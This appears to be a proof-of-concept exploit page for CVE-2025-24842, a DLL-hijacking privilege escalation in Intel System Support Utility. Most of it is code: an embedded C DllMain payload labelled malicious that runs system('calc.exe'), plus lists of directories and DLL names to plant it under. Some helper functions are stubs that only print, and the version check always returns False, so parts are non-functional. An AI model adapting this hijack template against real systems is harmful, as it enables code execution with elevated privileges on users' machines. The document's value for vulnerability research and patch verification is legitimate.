CVE-2025-24842 Intel System Support Utility权限提升漏洞

#!/usr/bin/env python3 # CVE-2025-24842 PoC - DLL Hijacking for Intel System Support Utility # This PoC demonstrates the uncontrolled search path vulnerability import os import sys import ctypes from ctypes import wintypes # Malicious DLL that will be loaded by vulnerable application MALICIOUS_DLL_CODE = ''' #include <windows.h> BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) { if (fdwReason == DLL_PROCESS_ATTACH) { // Create a log file to demonstrate code execution FILE *fp = fopen("C:\\\\Temp\\\\cve_2025_24842_exploit.log", "a"); if (fp != NULL) { fprintf(fp, "[+] CVE-2025-24842 DLL loaded successfully at %s\\n", __TIMESTAMP__); fprintf(fp, "[+] Malicious code executed with elevated privileges\\n"); fclose(fp); } // Execute malicious payload here // Example: system("calc.exe"); system("calc.exe"); } return TRUE; } ''' def create_malicious_dll(dll_path): """Create a malicious DLL for exploitation""" # Note: In real attack, this would be compiled DLL # This is for demonstration purposes only print(f"[*] Malicious DLL would be created at: {dll_path}") print("[*] In real scenario, compile the DLL with the code above") return True def check_vulnerable_version(): """Check if Intel System Support Utility version is vulnerable""" # Registry path for Intel System Support Utility reg_paths = [ r"SOFTWARE\Intel\Intel(System Support Utility|SSU)", r"SOFTWARE\WOW6432Node\Intel\Intel(System Support Utility|SSU)" ] print("[*] Checking for vulnerable Intel System Support Utility installation...") print("[*] Vulnerable versions: < 4.1.0") return False def main(): print("=" * 60) print("CVE-2025-24842 PoC - Intel System Support Utility DLL Hijacking") print("=" * 60) # Target directories where malicious DLL can be placed target_dirs = [ os.path.expanduser("~\\Downloads"), os.path.expanduser("~\\Documents"), "C:\\\\Temp", "C:\\\\Program Files\\\\Intel\\\\System Support Utility" ] # Common DLL names that might be hijacked dll_names = [ "intel_cpml.dll", "intel_ipmctl.dll", "msvcp140.dll", "vcruntime140.dll" ] print("\n[*] Target directories for DLL placement:") for directory in target_dirs: print(f" - {directory}") print("\n[*] Target DLLs for hijacking:") for dll in dll_names: print(f" - {dll}") print("\n[!] This is a educational PoC for security research") print("[!] Do not use for malicious purposes") return 0 if __name__ == "__main__": sys.exit(main())